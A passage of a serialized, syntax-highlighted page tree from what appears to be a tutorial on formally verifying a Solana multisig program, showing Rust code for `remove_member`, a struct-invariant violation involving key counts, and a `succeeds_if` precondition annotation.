ms_change_index",{"type":23,"tag":504,"props":24233,"children":24234},{"style":598},[24235],{"type":28,"value":3472},{"type":23,"tag":504,"props":24237,"children":24238},{"style":1440},[24239],{"type":28,"value":2023},{"type":23,"tag":504,"props":24241,"children":24242},{"style":523},[24243],{"type":28,"value":2484},{"type":23,"tag":504,"props":24245,"children":24246},{"class":506,"line":785},[24247,24252,24256,24260],{"type":23,"tag":504,"props":24248,"children":24249},{"style":529},[24250],{"type":28,"value":24251},"        bump",{"type":23,"tag":504,"props":24253,"children":24254},{"style":598},[24255],{"type":28,"value":3472},{"type":23,"tag":504,"props":24257,"children":24258},{"style":1440},[24259],{"type":28,"value":2023},{"type":23,"tag":504,"props":24261,"children":24262},{"style":523},[24263],{"type":28,"value":2484},{"type":23,"tag":504,"props":24265,"children":24266},{"class":506,"line":813},[24267,24271,24275,24280],{"type":23,"tag":504,"props":24268,"children":24269},{"style":529},[24270],{"type":28,"value":22818},{"type":23,"tag":504,"props":24272,"children":24273},{"style":598},[24274],{"type":28,"value":3472},{"type":23,"tag":504,"props":24276,"children":24277},{"style":598},[24278],{"type":28,"value":24279}," ...",{"type":23,"tag":504,"props":24281,"children":24282},{"style":523},[24283],{"type":28,"value":2484},{"type":23,"tag":504,"props":24285,"children":24286},{"class":506,"line":851},[24287,24292,24296,24300],{"type":23,"tag":504,"props":24288,"children":24289},{"style":529},[24290],{"type":28,"value":24291},"        allow_external_execute",{"type":23,"tag":504,"props":24293,"children":24294},{"style":598},[24295],{"type":28,"value":3472},{"type":23,"tag":504,"props":24297,"children":24298},{"style":511},[24299],{"type":28,"value":8041},{"type":23,"tag":504,"props":24301,"children":24302},{"style":523},[24303],{"type":28,"value":2484},{"type":23,"tag":504,"props":24305,"children":24306},{"class":506,"line":869},[24307,24312,24316,24321],{"type":23,"tag":504,"props":24308,"children":24309},{"style":529},[24310],{"type":28,"value":24311},"        keys",{"type":23,"tag":504,"props":24313,"children":24314},{"style":598},[24315],{"type":28,"value":3472},{"type":23,"tag":504,"props":24317,"children":24318},{"style":1012},[24319],{"type":28,"value":24320}," SparseVec",{"type":23,"tag":504,"props":24322,"children":24323},{"style":523},[24324],{"type":28,"value":552},{"type":23,"tag":504,"props":24326,"children":24327},{"class":506,"line":878},[24328,24333,24337,24342],{"type":23,"tag":504,"props":24329,"children":24330},{"style":529},[24331],{"type":28,"value":24332},"            size",{"type":23,"tag":504,"props":24334,"children":24335},{"style":598},[24336],{"type":28,"value":3472},{"type":23,"tag":504,"props":24338,"children":24339},{"style":1440},[24340],{"type":28,"value":24341}," 5112",{"type":23,"tag":504,"props":24343,"children":24344},{"style":523},[24345],{"type":28,"value":2484},{"type":23,"tag":504,"props":24347,"children":24348},{"class":506,"line":1221},[24349],{"type":23,"tag":504,"props":24350,"children":24351},{"style":523},[24352],{"type":28,"value":24353},"        },\n",{"type":23,"tag":504,"props":24355,"children":24356},{"class":506,"line":1276},[24357],{"type":23,"tag":504,"props":24358,"children":24359},{"style":523},[24360],{"type":28,"value":24361},"    },\n",{"type":23,"tag":504,"props":24363,"children":24364},{"class":506,"line":1285},[24365,24370,24374,24379,24383,24387],{"type":23,"tag":504,"props":24366,"children":24367},{"style":529},[24368],{"type":28,"value":24369},"    info",{"type":23,"tag":504,"props":24371,"children":24372},{"style":598},[24373],{"type":28,"value":3472},{"type":23,"tag":504,"props":24375,"children":24376},{"style":1012},[24377],{"type":28,"value":24378}," AccountInfo",{"type":23,"tag":504,"props":24380,"children":24381},{"style":523},[24382],{"type":28,"value":747},{"type":23,"tag":504,"props":24384,"children":24385},{"style":598},[24386],{"type":28,"value":8572},{"type":23,"tag":504,"props":24388,"children":24389},{"style":523},[24390],{"type":28,"value":24391}," },\n",{"type":23,"tag":504,"props":24393,"children":24394},{"class":506,"line":1294},[24395],{"type":23,"tag":504,"props":24396,"children":24397},{"style":523},[24398],{"type":28,"value":884},{"type":23,"tag":24,"props":24400,"children":24401},{},[24402,24404,24409,24411,24416],{"type":28,"value":24403},"Here we see that the ",{"type":23,"tag":56,"props":24405,"children":24407},{"className":24406},[],[24408],{"type":28,"value":21731},{"type":28,"value":24410}," of the newly created ",{"type":23,"tag":56,"props":24412,"children":24414},{"className":24413},[],[24415],{"type":28,"value":21723},{"type":28,"value":24417}," account is larger than the number of keys (5112) which breaks our struct invariant.",{"type":23,"tag":82,"props":24419,"children":24421},{"id":24420},"verify-requirements-to-remove-a-member",[24422],{"type":28,"value":21761},{"type":23,"tag":24,"props":24424,"children":24425},{},[24426,24428,24433,24434,24439,24441,24447],{"type":28,"value":24427},"Now that we've seen both ",{"type":23,"tag":56,"props":24429,"children":24431},{"className":24430},[],[24432],{"type":28,"value":19136},{"type":28,"value":430},{"type":23,"tag":56,"props":24435,"children":24437},{"className":24436},[],[24438],{"type":28,"value":20759},{"type":28,"value":24440}," let's take a look at the ",{"type":23,"tag":56,"props":24442,"children":24444},{"className":24443},[],[24445],{"type":28,"value":24446},"remove_member",{"type":28,"value":24448}," function:",{"type":23,"tag":494,"props":24450,"children":24452},{"code":24451,"language":1956,"meta":7,"className":1957,"style":7},"#[derive(Accounts, Debug)]\npub struct MsAuth\u003C'info> {\n    #[account(mut)]\n    multisig: Box\u003CAccount\u003C'info, Ms>>,\n    #[account(\n        mut,\n        seeds = [\n            b\"squad\",\n            multisig.create_key.as_ref(),\n            b\"multisig\"\n        ], bump = multisig.bump\n    )]\n    pub multisig_auth: Signer\u003C'info>,\n}\n\npub fn remove_member(ctx: Context\u003CMsAuth>, old_member: Pubkey) -> Result\u003C()> {\n    // if there is only one key in this multisig, reject the removal\n    if ctx.accounts.multisig.keys.len() == 1 {\n        return err!(MsError::CannotRemoveSoloMember);\n    }\n    ctx.accounts.multisig.remove_member(old_member)?;\n\n    // if the number of keys is now less than the threshold, adjust it\n    if ctx.accounts.multisig.keys.len() \u003C usize::from(ctx.accounts.multisig.threshold) {\n        let new_threshold: u16 = ctx.accounts.multisig.keys.len().try_into().unwrap();\n        ctx.accounts.multisig.change_threshold(new_threshold)?;\n    }\n    let new_index = ctx.accounts.multisig.transaction_index;\n    ctx.accounts.multisig.set_change_index(new_index)\n}\n",[24453],{"type":23,"tag":56,"props":24454,"children":24455},{"__ignoreMap":7},[24456,24479,24507,24522,24567,24574,24586,24602,24614,24640,24648,24677,24684,24716,24723,24730,24804,24812,24872,24904,24911,24962,24969,24977,25070,25159,25213,25220,25265,25310],{"type":23,"tag":504,"props":24457,"children":24458},{"class":506,"line":507},[24459,24463,24467,24471,24475],{"type":23,"tag":504,"props":24460,"children":24461},{"style":523},[24462],{"type":28,"value":21819},{"type":23,"tag":504,"props":24464,"children":24465},{"style":1012},[24466],{"type":28,"value":21824},{"type":23,"tag":504,"props":24468,"children":24469},{"style":523},[24470],{"type":28,"value":576},{"type":23,"tag":504,"props":24472,"children":24473},{"style":1012},[24474],{"type":28,"value":23690},{"type":23,"tag":504,"props":24476,"children":24477},{"style":523},[24478],{"type":28,"value":19240},{"type":23,"tag":504,"props":24480,"children":24481},{"class":506,"line":540},[24482,24486,24490,24495,24499,24503],{"type":23,"tag":504,"props":24483,"children":24484},{"style":511},[24485],{"type":28,"value":12671},{"type":23,"tag":504,"props":24487,"children":24488},{"style":511},[24489],{"type":28,"value":20132},{"type":23,"tag":504,"props":24491,"children":24492},{"style":1012},[24493],{"type":28,"value":24494}," MsAuth",{"type":23,"tag":504,"props":24496,"children":24497},{"style":523},[24498],{"type":28,"value":21904},{"type":23,"tag":504,"props":24500,"children":24501},{"style":1012},[24502],{"type":28,"value":21909},{"type":23,"tag":504,"props":24504,"children":24505},{"style":523},[24506],{"type":28,"value":6264},{"type":23,"tag":504,"props":24508,"children":24509},{"class":506,"line":555},[24510,24514,24518],{"type":23,"tag":504,"props":24511,"children":24512},{"style":523},[24513],{"type":28,"value":22110},{"type":23,"tag":504,"props":24515,"children":24516},{"style":511},[24517],{"type":28,"value":2701},{"type":23,"tag":504,"props":24519,"children":24520},{"style":523},[24521],{"type":28,"value":19240},{"type":23,"tag":504,"props":24523,"children":24524},{"class":506,"line":633},[24525,24530,24534,24539,24543,24547,24551,24555,24559,24563],{"type":23,"tag":504,"props":24526,"children":24527},{"style":529},[24528],{"type":28,"value":24529},"    multisig",{"type":23,"tag":504,"props":24531,"children":24532},{"style":598},[24533],{"type":28,"value":3472},{"type":23,"tag":504,"props":24535,"children":24536},{"style":1012},[24537],{"type":28,"value":24538}," Box",{"type":23,"tag":504,"props":24540,"children":24541},{"style":523},[24542],{"type":28,"value":4789},{"type":23,"tag":504,"props":24544,"children":24545},{"style":1012},[24546],{"type":28,"value":16125},{"type":23,"tag":504,"props":24548,"children":24549},{"style":523},[24550],{"type":28,"value":21904},{"type":23,"tag":504,"props":24552,"children":24553},{"style":1012},[24554],{"type":28,"value":21909},{"type":23,"tag":504,"props":24556,"children":24557},{"style":523},[24558],{"type":28,"value":576},{"type":23,"tag":504,"props":24560,"children":24561},{"style":1012},[24562],{"type":28,"value":21723},{"type":23,"tag":504,"props":24564,"children":24565},{"style":523},[24566],{"type":28,"value":5935},{"type":23,"tag":504,"props":24568,"children":24569},{"class":506,"line":687},[24570],{"type":23,"tag":504,"props":24571,"children":24572},{"style":523},[24573],{"type":28,"value":21921},{"type":23,"tag":504,"props":24575,"children":24576},{"class":506,"line":736},[24577,24582],{"type":23,"tag":504,"props":24578,"children":24579},{"style":511},[24580],{"type":28,"value":24581},"        mut",{"type":23,"tag":504,"props":24583,"children":24584},{"style":523},[24585],{"type":28,"value":2484},{"type":23,"tag":504,"props":24587,"children":24588},{"class":506,"line":785},[24589,24593,24597],{"type":23,"tag":504,"props":24590,"children":24591},{"style":523},[24592],{"type":28,"value":22005},{"type":23,"tag":504,"props":24594,"children":24595},{"style":598},[24596],{"type":28,"value":601},{"type":23,"tag":504,"props":24598,"children":24599},{"style":523},[24600],{"type":28,"value":24601}," [\n",{"type":23,"tag":504,"props":24603,"children":24604},{"class":506,"line":813},[24605,24610],{"type":23,"tag":504,"props":24606,"children":24607},{"style":622},[24608],{"type":28,"value":24609},"            b\"squad\"",{"type":23,"tag":504,"props":24611,"children":24612},{"style":523},[24613],{"type":28,"value":2484},{"type":23,"tag":504,"props":24615,"children":24616},{"class":506,"line":851},[24617,24622,24626,24631,24635],{"type":23,"tag":504,"props":24618,"children":24619},{"style":523},[24620],{"type":28,"value":24621},"            multisig",{"type":23,"tag":504,"props":24623,"children":24624},{"style":598},[24625],{"type":28,"value":320},{"type":23,"tag":504,"props":24627,"children":24628},{"style":523},[24629],{"type":28,"value":24630},"create_key",{"type":23,"tag":504,"props":24632,"children":24633},{"style":598},[24634],{"type":28,"value":320},{"type":23,"tag":504,"props":24636,"children":24637},{"style":523},[24638],{"type":28,"value":24639},"as_ref(),\n",{"type":23,"tag":504,"props":24641,"children":24642},{"class":506,"line":869},[24643],{"type":23,"tag":504,"props":24644,"children":24645},{"style":622},[24646],{"type":28,"value":24647},"            b\"multisig\"\n",{"type":23,"tag":504,"props":24649,"children":24650},{"class":506,"line":878},[24651,24656,24661,24665,24669,24673],{"type":23,"tag":504,"props":24652,"children":24653},{"style":523},[24654],{"type":28,"value":24655},"        ], ",{"type":23,"tag":504,"props":24657,"children":24658},{"style":529},[24659],{"type":28,"value":24660},"bump",{"type":23,"tag":504,"props":24662,"children":24663},{"style":598},[24664],{"type":28,"value":648},{"type":23,"tag":504,"props":24666,"children":24667},{"style":529},[24668],{"type":28,"value":22066},{"type":23,"tag":504,"props":24670,"children":24671},{"style":598},[24672],{"type":28,"value":320},{"type":23,"tag":504,"props":24674,"children":24675},{"style":523},[24676],{"type":28,"value":22046},{"type":23,"tag":504,"props":24678,"children":24679},{"class":506,"line":1221},[24680],{"type":23,"tag":504,"props":24681,"children":24682},{"style":523},[24683],{"type":28,"value":22054},{"type":23,"tag":504,"props":24685,"children":24686},{"class":506,"line":1276},[24687,24691,24696,24700,24704,24708,24712],{"type":23,"tag":504,"props":24688,"children":24689},{"style":511},[24690],{"type":28,"value":19824},{"type":23,"tag":504,"props":24692,"children":24693},{"style":529},[24694],{"type":28,"value":24695}," multisig_auth",{"type":23,"tag":504,"props":24697,"children":24698},{"style":598},[24699],{"type":28,"value":3472},{"type":23,"tag":504,"props":24701,"children":24702},{"style":1012},[24703],{"type":28,"value":22139},{"type":23,"tag":504,"props":24705,"children":24706},{"style":523},[24707],{"type":28,"value":21904},{"type":23,"tag":504,"props":24709,"children":24710},{"style":1012},[24711],{"type":28,"value":21909},{"type":23,"tag":504,"props":24713,"children":24714},{"style":523},[24715],{"type":28,"value":5122},{"type":23,"tag":504,"props":24717,"children":24718},{"class":506,"line":1285},[24719],{"type":23,"tag":504,"props":24720,"children":24721},{"style":523},[24722],{"type":28,"value":884},{"type":23,"tag":504,"props":24724,"children":24725},{"class":506,"line":1294},[24726],{"type":23,"tag":504,"props":24727,"children":24728},{"emptyLinePlaceholder":16},[24729],{"type":28,"value":1038},{"type":23,"tag":504,"props":24731,"children":24732},{"class":506,"line":1302},[24733,24737,24741,24746,24750,24754,24758,24762,24766,24771,24775,24780,24784,24788,24792,24796,24800],{"type":23,"tag":504,"props":24734,"children":24735},{"style":511},[24736],{"type":28,"value":12671},{"type":23,"tag":504,"props":24738,"children":24739},{"style":511},[24740],{"type":28,"value":12676},{"type":23,"tag":504,"props":24742,"children":24743},{"style":517},[24744],{"type":28,"value":24745}," remove_member",{"type":23,"tag":504,"props":24747,"children":24748},{"style":523},[24749],{"type":28,"value":526},{"type":23,"tag":504,"props":24751,"children":24752},{"style":529},[24753],{"type":28,"value":19262},{"type":23,"tag":504,"props":24755,"children":24756},{"style":598},[24757],{"type":28,"value":3472},{"type":23,"tag":504,"props":24759,"children":24760},{"style":1012},[24761],{"type":28,"value":19271},{"type":23,"tag":504,"props":24763,"children":24764},{"style":523},[24765],{"type":28,"value":4789},{"type":23,"tag":504,"props":24767,"children":24768},{"style":1012},[24769],{"type":28,"value":24770},"MsAuth",{"type":23,"tag":504,"props":24772,"children":24773},{"style":523},[24774],{"type":28,"value":5614},{"type":23,"tag":504,"props":24776,"children":24777},{"style":529},[24778],{"type":28,"value":24779},"old_member",{"type":23,"tag":504,"props":24781,"children":24782},{"style":598},[24783],{"type":28,"value":3472},{"type":23,"tag":504,"props":24785,"children":24786},{"style":1012},[24787],{"type":28,"value":19838},{"type":23,"tag":504,"props":24789,"children":24790},{"style":523},[24791],{"type":28,"value":2064},{"type":23,"tag":504,"props":24793,"children":24794},{"style":598},[24795],{"type":28,"value":12738},{"type":23,"tag":504,"props":24797,"children":24798},{"style":1012},[24799],{"type":28,"value":12743},{"type":23,"tag":504,"props":24801,"children":24802},{"style":523},[24803],{"type":28,"value":19313},{"type":23,"tag":504,"props":24805,"children":24806},{"class":506,"line":1311},[24807],{"type":23,"tag":504,"props":24808,"children":24809},{"style":1106},[24810],{"type":28,"value":24811},"    // if there is only one key in this multisig, reject the removal\n",{"type":23,"tag":504,"props":24813,"children":24814},{"class":506,"line":1334},[24815,24819,24824,24828,24832,24836,24840,24844,24848,24852,24856,24860,24864,24868],{"type":23,"tag":504,"props":24816,"children":24817},{"style":544},[24818],{"type":28,"value":11261},{"type":23,"tag":504,"props":24820,"children":24821},{"style":529},[24822],{"type":28,"value":24823}," ctx",{"type":23,"tag":504,"props":24825,"children":24826},{"style":598},[24827],{"type":28,"value":320},{"type":23,"tag":504,"props":24829,"children":24830},{"style":523},[24831],{"type":28,"value":13656},{"type":23,"tag":504,"props":24833,"children":24834},{"style":598},[24835],{"type":28,"value":320},{"type":23,"tag":504,"props":24837,"children":24838},{"style":523},[24839],{"type":28,"value":22784},{"type":23,"tag":504,"props":24841,"children":24842},{"style":598},[24843],{"type":28,"value":320},{"type":23,"tag":504,"props":24845,"children":24846},{"style":523},[24847],{"type":28,"value":19964},{"type":23,"tag":504,"props":24849,"children":24850},{"style":598},[24851],{"type":28,"value":320},{"type":23,"tag":504,"props":24853,"children":24854},{"style":517},[24855],{"type":28,"value":8121},{"type":23,"tag":504,"props":24857,"children":24858},{"style":523},[24859],{"type":28,"value":13024},{"type":23,"tag":504,"props":24861,"children":24862},{"style":598},[24863],{"type":28,"value":7559},{"type":23,"tag":504,"props":24865,"children":24866},{"style":1440},[24867],{"type":28,"value":3504},{"type":23,"tag":504,"props":24869,"children":24870},{"style":523},[24871],{"type":28,"value":552},{"type":23,"tag":504,"props":24873,"children":24874},{"class":506,"line":1370},[24875,24879,24883,24887,24891,24895,24900],{"type":23,"tag":504,"props":24876,"children":24877},{"style":544},[24878],{"type":28,"value":742},{"type":23,"tag":504,"props":24880,"children":24881},{"style":517},[24882],{"type":28,"value":22499},{"type":23,"tag":504,"props":24884,"children":24885},{"style":523},[24886],{"type":28,"value":526},{"type":23,"tag":504,"props":24888,"children":24889},{"style":1012},[24890],{"type":28,"value":22508},{"type":23,"tag":504,"props":24892,"children":24893},{"style":598},[24894],{"type":28,"value":2457},{"type":23,"tag":504,"props":24896,"children":24897},{"style":1012},[24898],{"type":28,"value":24899},"CannotRemoveSoloMember",{"type":23,"tag":504,"props":24901,"children":24902},{"style":523},[24903],{"type":28,"value":630},{"type":23,"tag":504,"props":24905,"children":24906},{"class":506,"line":1384},[24907],{"type":23,"tag":504,"props":24908,"children":24909},{"style":523},[24910],{"type":28,"value":875},{"type":23,"tag":504,"props":24912,"children":24913},{"class":506,"line":1392},[24914,24918,24922,24926,24930,24934,24938,24942,24946,24950,24954,24958],{"type":23,"tag":504,"props":24915,"children":24916},{"style":529},[24917],{"type":28,"value":19205},{"type":23,"tag":504,"props":24919,"children":24920},{"style":598},[24921],{"type":28,"value":320},{"type":23,"tag":504,"props":24923,"children":24924},{"style":523},[24925],{"type":28,"value":13656},{"type":23,"tag":504,"props":24927,"children":24928},{"style":598},[24929],{"type":28,"value":320},{"type":23,"tag":504,"props":24931,"children":24932},{"style":523},[24933],{"type":28,"value":22784},{"type":23,"tag":504,"props":24935,"children":24936},{"style":598},[24937],{"type":28,"value":320},{"type":23,"tag":504,"props":24939,"children":24940},{"style":517},[24941],{"type":28,"value":24446},{"type":23,"tag":504,"props":24943,"children":24944},{"style":523},[24945],{"type":28,"value":526},{"type":23,"tag":504,"props":24947,"children":24948},{"style":529},[24949],{"type":28,"value":24779},{"type":23,"tag":504,"props":24951,"children":24952},{"style":523},[24953],{"type":28,"value":2105},{"type":23,"tag":504,"props":24955,"children":24956},{"style":598},[24957],{"type":28,"value":2133},{"type":23,"tag":504,"props":24959,"children":24960},{"style":523},[24961],{"type":28,"value":866},{"type":23,"tag":504,"props":24963,"children":24964},{"class":506,"line":1400},[24965],{"type":23,"tag":504,"props":24966,"children":24967},{"emptyLinePlaceholder":16},[24968],{"type":28,"value":1038},{"type":23,"tag":504,"props":24970,"children":24971},{"class":506,"line":1422},[24972],{"type":23,"tag":504,"props":24973,"children":24974},{"style":1106},[24975],{"type":28,"value":24976},"    // if the number of keys is now less than the threshold, adjust it\n",{"type":23,"tag":504,"props":24978,"children":24979},{"class":506,"line":1450},[24980,24984,24988,24992,24996,25000,25004,25008,25012,25016,25020,25025,25029,25033,25037,25041,25045,25049,25053,25057,25061,25065],{"type":23,"tag":504,"props":24981,"children":24982},{"style":544},[24983],{"type":28,"value":11261},{"type":23,"tag":504,"props":24985,"children":24986},{"style":529},[24987],{"type":28,"value":24823},{"type":23,"tag":504,"props":24989,"children":24990},{"style":598},[24991],{"type":28,"value":320},{"type":23,"tag":504,"props":24993,"children":24994},{"style":523},[24995],{"type":28,"value":13656},{"type":23,"tag":504,"props":24997,"children":24998},{"style":598},[24999],{"type":28,"value":320},{"type":23,"tag":504,"props":25001,"children":25002},{"style":523},[25003],{"type":28,"value":22784},{"type":23,"tag":504,"props":25005,"children":25006},{"style":598},[25007],{"type":28,"value":320},{"type":23,"tag":504,"props":25009,"children":25010},{"style":523},[25011],{"type":28,"value":19964},{"type":23,"tag":504,"props":25013,"children":25014},{"style":598},[25015],{"type":28,"value":320},{"type":23,"tag":504,"props":25017,"children":25018},{"style":517},[25019],{"type":28,"value":8121},{"type":23,"tag":504,"props":25021,"children":25022},{"style":523},[25023],{"type":28,"value":25024},"() \u003C ",{"type":23,"tag":504,"props":25026,"children":25027},{"style":1012},[25028],{"type":28,"value":15580},{"type":23,"tag":504,"props":25030,"children":25031},{"style":598},[25032],{"type":28,"value":2457},{"type":23,"tag":504,"props":25034,"children":25035},{"style":517},[25036],{"type":28,"value":18455},{"type":23,"tag":504,"props":25038,"children":25039},{"style":523},[25040],{"type":28,"value":526},{"type":23,"tag":504,"props":25042,"children":25043},{"style":529},[25044],{"type":28,"value":19262},{"type":23,"tag":504,"props":25046,"children":25047},{"style":598},[25048],{"type":28,"value":320},{"type":23,"tag":504,"props":25050,"children":25051},{"style":523},[25052],{"type":28,"value":13656},{"type":23,"tag":504,"props":25054,"children":25055},{"style":598},[25056],{"type":28,"value":320},{"type":23,"tag":504,"props":25058,"children":25059},{"style":523},[25060],{"type":28,"value":22784},{"type":23,"tag":504,"props":25062,"children":25063},{"style":598},[25064],{"type":28,"value":320},{"type":23,"tag":504,"props":25066,"children":25067},{"style":523},[25068],{"type":28,"value":25069},"threshold) {\n",{"type":23,"tag":504,"props":25071,"children":25072},{"class":506,"line":1463},[25073,25077,25082,25086,25090,25094,25098,25102,25106,25110,25114,25118,25122,25126,25130,25134,25138,25143,25147,25151,25155],{"type":23,"tag":504,"props":25074,"children":25075},{"style":511},[25076],{"type":28,"value":2041},{"type":23,"tag":504,"props":25078,"children":25079},{"style":529},[25080],{"type":28,"value":25081}," new_threshold",{"type":23,"tag":504,"props":25083,"children":25084},{"style":598},[25085],{"type":28,"value":3472},{"type":23,"tag":504,"props":25087,"children":25088},{"style":1012},[25089],{"type":28,"value":20011},{"type":23,"tag":504,"props":25091,"children":25092},{"style":598},[25093],{"type":28,"value":648},{"type":23,"tag":504,"props":25095,"children":25096},{"style":529},[25097],{"type":28,"value":24823},{"type":23,"tag":504,"props":25099,"children":25100},{"style":598},[25101],{"type":28,"value":320},{"type":23,"tag":504,"props":25103,"children":25104},{"style":523},[25105],{"type":28,"value":13656},{"type":23,"tag":504,"props":25107,"children":25108},{"style":598},[25109],{"type":28,"value":320},{"type":23,"tag":504,"props":25111,"children":25112},{"style":523},[25113],{"type":28,"value":22784},{"type":23,"tag":504,"props":25115,"children":25116},{"style":598},[25117],{"type":28,"value":320},{"type":23,"tag":504,"props":25119,"children":25120},{"style":523},[25121],{"type":28,"value":19964},{"type":23,"tag":504,"props":25123,"children":25124},{"style":598},[25125],{"type":28,"value":320},{"type":23,"tag":504,"props":25127,"children":25128},{"style":517},[25129],{"type":28,"value":8121},{"type":23,"tag":504,"props":25131,"children":25132},{"style":523},[25133],{"type":28,"value":12860},{"type":23,"tag":504,"props":25135,"children":25136},{"style":598},[25137],{"type":28,"value":320},{"type":23,"tag":504,"props":25139,"children":25140},{"style":517},[25141],{"type":28,"value":25142},"try_into",{"type":23,"tag":504,"props":25144,"children":25145},{"style":523},[25146],{"type":28,"value":12860},{"type":23,"tag":504,"props":25148,"children":25149},{"style":598},[25150],{"type":28,"value":320},{"type":23,"tag":504,"props":25152,"children":25153},{"style":517},[25154],{"type":28,"value":2642},{"type":23,"tag":504,"props":25156,"children":25157},{"style":523},[25158],{"type":28,"value":2647},{"type":23,"tag":504,"props":25160,"children":25161},{"class":506,"line":1485},[25162,25167,25171,25175,25179,25183,25187,25192,25196,25201,25205,25209],{"type":23,"tag":504,"props":25163,"children":25164},{"style":529},[25165],{"type":28,"value":25166},"        ctx",{"type":23,"tag":504,"props":25168,"children":25169},{"style":598},[25170],{"type":28,"value":320},{"type":23,"tag":504,"props":25172,"children":25173},{"style":523},[25174],{"type":28,"value":13656},{"type":23,"tag":504,"props":25176,"children":25177},{"style":598},[25178],{"type":28,"value":320},{"type":23,"tag":504,"props":25180,"children":25181},{"style":523},[25182],{"type":28,"value":22784},{"type":23,"tag":504,"props":25184,"children":25185},{"style":598},[25186],{"type":28,"value":320},{"type":23,"tag":504,"props":25188,"children":25189},{"style":517},[25190],{"type":28,"value":25191},"change_threshold",{"type":23,"tag":504,"props":25193,"children":25194},{"style":523},[25195],{"type":28,"value":526},{"type":23,"tag":504,"props":25197,"children":25198},{"style":529},[25199],{"type":28,"value":25200},"new_threshold",{"type":23,"tag":504,"props":25202,"children":25203},{"style":523},[25204],{"type":28,"value":2105},{"type":23,"tag":504,"props":25206,"children":25207},{"style":598},[25208],{"type":28,"value":2133},{"type":23,"tag":504,"props":25210,"children":25211},{"style":523},[25212],{"type":28,"value":866},{"type":23,"tag":504,"props":25214,"children":25215},{"class":506,"line":1503},[25216],{"type":23,"tag":504,"props":25217,"children":25218},{"style":523},[25219],{"type":28,"value":875},{"type":23,"tag":504,"props":25221,"children":25222},{"class":506,"line":1516},[25223,25227,25232,25236,25240,25244,25248,25252,25256,25260],{"type":23,"tag":504,"props":25224,"children":25225},{"style":511},[25226],{"type":28,"value":1977},{"type":23,"tag":504,"props":25228,"children":25229},{"style":529},[25230],{"type":28,"value":25231}," new_index",{"type":23,"tag":504,"props":25233,"children":25234},{"style":598},[25235],{"type":28,"value":648},{"type":23,"tag":504,"props":25237,"children":25238},{"style":529},[25239],{"type":28,"value":24823},{"type":23,"tag":504,"props":25241,"children":25242},{"style":598},[25243],{"type":28,"value":320},{"type":23,"tag":504,"props":25245,"children":25246},{"style":523},[25247],{"type":28,"value":13656},{"type":23,"tag":504,"props":25249,"children":25250},{"style":598},[25251],{"type":28,"value":320},{"type":23,"tag":504,"props":25253,"children":25254},{"style":523},[25255],{"type":28,"value":22784},{"type":23,"tag":504,"props":25257,"children":25258},{"style":598},[25259],{"type":28,"value":320},{"type":23,"tag":504,"props":25261,"children":25262},{"style":523},[25263],{"type":28,"value":25264},"transaction_index;\n",{"type":23,"tag":504,"props":25266,"children":25267},{"class":506,"line":1543},[25268,25272,25276,25280,25284,25288,25292,25297,25301,25306],{"type":23,"tag":504,"props":25269,"children":25270},{"style":529},[25271],{"type":28,"value":19205},{"type":23,"tag":504,"props":25273,"children":25274},{"style":598},[25275],{"type":28,"value":320},{"type":23,"tag":504,"props":25277,"children":25278},{"style":523},[25279],{"type":28,"value":13656},{"type":23,"tag":504,"props":25281,"children":25282},{"style":598},[25283],{"type":28,"value":320},{"type":23,"tag":504,"props":25285,"children":25286},{"style":523},[25287],{"type":28,"value":22784},{"type":23,"tag":504,"props":25289,"children":25290},{"style":598},[25291],{"type":28,"value":320},{"type":23,"tag":504,"props":25293,"children":25294},{"style":517},[25295],{"type":28,"value":25296},"set_change_index",{"type":23,"tag":504,"props":25298,"children":25299},{"style":523},[25300],{"type":28,"value":526},{"type":23,"tag":504,"props":25302,"children":25303},{"style":529},[25304],{"type":28,"value":25305},"new_index",{"type":23,"tag":504,"props":25307,"children":25308},{"style":523},[25309],{"type":28,"value":1192},{"type":23,"tag":504,"props":25311,"children":25312},{"class":506,"line":1583},[25313],{"type":23,"tag":504,"props":25314,"children":25315},{"style":523},[25316],{"type":28,"value":884},{"type":23,"tag":24,"props":25318,"children":25319},{},[25320,25322,25327],{"type":28,"value":25321},"First let's establish the ",{"type":23,"tag":56,"props":25323,"children":25325},{"className":25324},[],[25326],{"type":28,"value":19136},{"type":28,"value":25328}," condition. We can do this either interactively, following counterexamples like in the first example or we can guess what a sufficient condition might be:",{"type":23,"tag":494,"props":25330,"children":25332},{"code":25331,"language":1956,"meta":7,"className":1957,"style":7},"#[succeeds_if(\n    ctx.accounts.multisig.keys.len() > 1\n)]\nfn remove_member(...) { ... }\n",[25333],{"type":23,"tag":56,"props":25334,"children":25335},{"__ignoreMap":7},[25336,25343,25390,25397],{"type":23,"tag":504,"props":25337,"children":25338},{"class":506,"line":507},[25339],{"type":23,"tag":504,"props":25340,"children":25341},{"style":523},[25342],{"type":28,"value":23091},{"type":23,"tag":504,"props":25344,"children":25345},{"class":506,"line":540},[25346,25350,25354,25358,25362,25366,25370,25374,25378,25382,25386],{"type":23,"tag":504,"props":25347,"children":25348},{"style":523},[25349],{"type":28,"value":19205},{"type":23,"tag":504,"props":25351,"children":25352},{"style":598},[25353],{"type":28,"value":320},{"type":23,"tag":504,"props":25355,"children":25356},{"style":523},[25357],{"type":28,"value":13656},{"type":23,"tag":504,"props":25359,"children":25360},{"style":598},[25361],{"type":28,"value":320},{"type":23,"tag":504,"props":25363,"children":25364},{"style":523},[25365],{"type":28,"value":22784},{"type":23,"tag":504,"props":25367,"children":25368},{"style":598},[25369],{"type":28,"value":320},{"type":23,"tag":504,"props":25371,"children":25372},{"style":523},[25373],{"type":28,"value":19964},{"type":23,"tag":504,"props":25375,"children":25376},{"style":598},[25377],{"type":28,"value":320},{"type":23,"tag":504,"props":25379,"children":25380},{"style":523},[25381],{"type":28,"value":20002},{"type":23,"tag":504,"props":25383,"children":25384},{"style":598},[25385],{"type":28,"value":9443},{"type":23,"tag":504,"props":25387,"children":25388},{"style":523},[25389],{"type":28,"value":18424},{"type":23,"tag":504,"props":25391,"children":25392},{"class":506,"line":555},[25393],{"type":23,"tag":504,"props":25394,"children":25395},{"style":523},[25396],{"type":28,"value":19240},{"type":23,"tag":504,"props":25398,"children":25399},{"class":506,"line":633},[25400,25404,25408,25412,25416,25420,25424],{"type":23,"tag":504,"props":25401,"children":25402},{"style":511},[25403],{"type":28,"value":19248},{"type":23,"tag":504,"props":25405,"children":25406},{"style":517},[25407],{"type":28,"value":24745},{"type":23,"tag":504,"props":25409,"children":25410},{"style":523},[25411],{"type":28,"value":526},{"type":23,"tag":504,"props":25413,"children":25414},{"style":598},[25415],{"type":28,"value":8572},{"type":23,"tag":504,"props":25417,"children":25418},{"style":523},[25419],{"type":28,"value":22968},{"type":23,"tag":504,